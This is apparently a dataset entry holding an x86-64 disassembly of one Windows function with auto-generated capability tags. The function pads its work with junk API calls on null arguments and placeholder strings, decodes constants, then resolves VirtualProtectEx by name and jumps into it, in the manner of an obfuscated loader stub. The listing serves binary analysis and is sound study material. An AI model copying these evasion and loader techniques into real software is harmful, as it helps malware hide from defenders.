Function at 0x6bad3d41
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x90], rax
mov rax, qword [0x6bb80f80]
mov qword [rsp + 0x70], rcx
cmp dword [rax], 0x926c
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov dword [rsp + 0x8c], r9d
jne 0x6bad469f
mov rax, qword [0x6bb80ab0]
mov rsi, qword [0x6bb80680]
lea rcx, str.ProfAlaynaTowneDVM
mov edx, dword [rax]
mov rax, qword [0x6bb80ca0]
mov dword [rax], edx
mov rax, qword [0x6bb80560]
mov edx, dword [rsi]
mov dword [rax], 0x1bca6882
mov rax, qword [0x6bb80760]
mov dword [rax], 0x918d65b8
mov rax, qword [0x6bb80620]
mov dword [rax], edx
mov rax, qword [0x6bb80710]
lea rdx, str.Aut_velit_fugiat_temporibus_molestiae_fugiat
mov dword [rax], 0xcf2d0052
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x58], rax
call rax
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rbp
mov rdi, qword [0x6bb80cc0]
mov rax, qword [0x6bb81110]
lea rcx, str.LillyWilliamson
mov rbx, qword [0x6bb81150]
mov edx, dword [rdi]
mov dword [rax], edx
mov rax, qword [0x6bb80d50]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x40], rax
call rax
mov r15, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x6bb809f0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xa7046185
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rax, qword [0x6bb80fd0]
mov ecx, 0x7fc51af7
mov dword [rax], 0x73b9b0e6
call fcn.6bad9c90
mov rbx, qword [0x6bb80930]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x60], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x6bb80f40]
mov rcx, qword [0x6bb806e0]
mov edx, dword [rdi]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x6bb809b0]
mov ecx, 0x8bbba2df
mov dword [rax], edx
call fcn.6bad9c90
mov dword [rsi], eax
mov rax, qword [0x6bb808c0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80830]
lea rcx, str.HumbertoBlick
mov dword [rdx], eax
mov rax, qword [rsp + 0x40]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Quidem_in_velit_voluptates_velit_quia_ullam_ut
call rdi
mov ecx, 0x6618c3f2
call fcn.6bad9c90
mov rdx, qword [0x6bb811f0]
mov ecx, 0xf26276db
mov dword [rdx], eax
mov rax, qword [0x6bb80b60]
mov edx, dword [rax]
mov rax, qword [0x6bb80840]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb80ef0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb80b80]
xor edx, edx
mov dword [rax], 0xeed0e3d1
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0x45d2e40d
call fcn.6bad9c90
mov rdx, qword [0x6bb80ac0]
lea rcx, str.Excepturi_voluptatibus_possimus_ipsam_sit_delectus
mov dword [rdx], eax
mov rax, qword [0x6bb806f0]
mov edx, dword [rax]
mov rax, qword [0x6bb80590]
mov dword [rax], edx
mov rax, qword [0x6bb81000]
mov dword [rax], 0x15bc6db5
mov rax, qword [str.eNl.h_Q]
mov edx, dword [rax]
mov rax, qword [0x6bb80a10]
mov dword [rax], edx
lea rdx, str.Expedita_est_a_qui
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x6bb81080]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xce094c4a
mov rax, qword [0x6bb807a0]
mov dword [rax], 0x573eb95c
call rbx
mov rax, qword [0x6bb80b30]
mov rcx, qword [0x6bb80aa0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x6bb80e20]
xor ecx, ecx
mov dword [rax], 0x43528aa3
call rbx
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov r10, qword [0x6bb80df0]
mov rax, qword [0x6bb80db0]
xor ecx, ecx
mov edx, dword [r10]
mov dword [rax], 0x66eb8f6
mov rax, qword [0x6bb80e30]
mov dword [rax], edx
call r14
mov rax, qword [0x6bb80540]
mov edx, dword [rsi]
lea rcx, str.Architecto_ducimus_quia_et
mov dword [rax], 0xc5c83281
mov rax, qword [0x6bb80550]
mov dword [rax], edx
mov rax, qword [0x6bb80e40]
mov edx, dword [rax]
mov rax, qword [0x6bb80600]
mov dword [rax], edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x6bb80820]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc14562df
call rbx
mov rax, qword [0x6bb810e0]
xor ecx, ecx
mov dword [rsi], 0x9775765
lea r8, str.JermeyMurphy
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [rax]
mov rax, qword [0x6bb810d0]
mov dword [rax], edx
mov rax, qword [0x6bb811a0]
mov dword [rax], 0xf436b10c
mov rax, qword [0x6bb80f50]
mov dword [rax], 0x6e62cc2
mov rax, qword [0x6bb805b0]
mov edx, dword [rax]
mov rax, qword [0x6bb81040]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [0x6bb81030]
lea rcx, str.Inventore_sunt_consequuntur_sequi_cumque_inventore
mov edx, dword [rax]
mov rax, qword [0x6bb80d30]
mov dword [rax], edx
xor edx, edx
call rdi
mov rax, qword [0x6bb80b50]
mov r11, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.SkylaWisoky
mov edx, dword [rax]
mov rax, qword [0x6bb81120]
mov qword [rsp + 0xa8], r11
mov dword [rax], edx
call r11
mov rax, qword [0x6bb80fa0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rcx, qword [0x6bb80d40]
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
lea r8, str.ProfXavierJohnsonIV
call rsi
mov r13, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r12
mov rax, qword [0x6bb80a30]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80c90]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov r10, qword [0x6bb80df0]
xor edx, edx
xor ecx, ecx
lea r8, str.Nostrum_dolorem_et_illo_quod_aut_pariatur_consequuntur
mov dword [r10], 0x5eac8c61
call rsi
xor edx, edx
lea rcx, str.IdaBalistreri
call rdi
mov r10, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0xa0], r10
call r10
mov ecx, 0xc635c3c5
call fcn.6bad9c90
mov rdx, qword [0x6bb81050]
mov ecx, 0x9471f804
mov dword [rdx], eax
call fcn.6bad9c90
mov rdx, qword [0x6bb80f10]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov ecx, 0xda679280
call fcn.6bad9c90
mov rdx, qword [0x6bb81130]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb809f0]
mov dword [rax], 0x5947a0ec
call rbp
mov ecx, 0xd559d6fd
call fcn.6bad9c90
mov rcx, qword [0x6bb810a0]
mov dword [rcx], eax
mov rax, qword [0x6bb811b0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rcx, qword [0x6bb80f60]
mov dword [rcx], eax
mov ecx, 0x3cef1823
call fcn.6bad9c90
mov rcx, qword [0x6bb806b0]
mov dword [rcx], eax
mov rax, qword [0x6bb80d90]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80d80]
mov ecx, 0xdfbf1d9f
mov dword [rdx], eax
call fcn.6bad9c90
mov rdx, qword [0x6bb81180]
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x6bb80980]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80510]
mov r8, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x98], r8
call r8
mov rax, qword [0x6bb80e50]
xor edx, edx
mov rcx, qword [0x6bb80710]
mov r8, qword [rsp + 0x98]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r8
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r12
mov ecx, 0x2e7e6193
call fcn.6bad9c90
mov rcx, qword [0x6bb80f60]
xor edx, edx
mov dword [rcx], eax
lea rcx, str.HectorOrtiz
call rdi
mov rax, qword [0x6bb80ec0]
mov rcx, qword [0x6bb80560]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x6bb80fe0]
mov dword [rax], 0xda5d090f
mov rax, qword [0x6bb81020]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb805d0]
mov ecx, 0x980fad75
mov dword [rdx], eax
mov rax, qword [0x6bb80910]
mov edx, dword [rax]
mov rax, qword [0x6bb80a80]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb810c0]
mov dword [rdx], eax
mov rax, qword [0x6bb808a0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rcx, qword [0x6bb80aa0]
xor edx, edx
mov dword [rcx], eax
lea rcx, str.Accusantium_voluptas_et_quae_deserunt_quos_excepturi_voluptatem_quod
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x6bb80da0]
lea rcx, str.JeanRatke
mov dword [rax], 0x5b201367
mov rax, qword [0x6bb80690]
mov edx, dword [rax]
mov rax, qword [0x6bb80700]
mov dword [rax], edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x6bb807c0]
mov dword [rax], 0xa29c63f9
mov rax, qword [0x6bb80d40]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb808d0]
lea r8, str.Nisi_culpa_nostrum_et_a_ut
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb80d40]
xor edx, edx
mov dword [rax], 0x2bb52068
call rsi
mov rax, qword [0x6bb80d10]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80d60]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [0x6bb80d90]
xor ecx, ecx
mov dword [rax], 0x95b5a3d9
call r12
mov rax, qword [0x6bb81190]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdi, qword [0x6bb805b0]
xor ecx, ecx
mov dword [rdi], eax
call r14
mov rax, qword [0x6bb805a0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80d70]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x6bb80930]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80790]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x48]
call rax
mov r10, qword [rsp + 0xa0]
xor edx, edx
xor ecx, ecx
call r10
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rdi, qword [0x6bb80f30]
lea rcx, str.Neque_fuga_voluptas_omnis_eaque
mov r11, qword [rsp + 0xa8]
mov dword [rdi], 0xe87320b5
call r11
mov ecx, 0x87b98c12
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb80f70]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0x13486919
call fcn.6bad9c90
mov rdx, qword [0x6bb80c60]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rbx, qword [0x6bb809a0]
mov ecx, dword [rbx]
call fcn.6bad9c90
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x6bb80cb0]
mov dword [rax], 0xeaea9424
mov rax, qword [0x6bb80e40]
mov dword [rax], 0x51a65d47
call rbp
mov rax, qword [0x6bb80db0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdi, qword [0x6bb806b0]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x6bb80d00]
mov rdi, qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rax], 0x9f630ffc
call rdi
mov rax, qword [0x6bb806e0]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x6bb810a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov ecx, 0x367df2a0
mov dword [rbx], 0x88b076fb
call fcn.6bad9c90
mov rdx, qword [0x6bb81090]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call r12
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call r15
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
lea r8, str.Dolores_rerum_voluptatem_asperiores_ab_dolor_sunt
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x6bb81150]
lea rcx, str.RexRau
mov edx, dword [rax]
mov rax, qword [0x6bb80580]
mov dword [rax], edx
lea rdx, str.Fugit_magni_iure_dolorum_porro_quidem
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0x30857f90
call fcn.6bad9c90
mov rsi, qword [str.eNl.h_Q]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call r15
mov rax, qword [0x6bb80920]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80530]
mov dword [rdx], eax
lea rdx, str.VirtualProtectEx
lea rcx, str.kernel32.dll
call fcn.6bad0f55
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x90]
mov r9d, dword [rsp + 0x8c]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x120], rsi
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax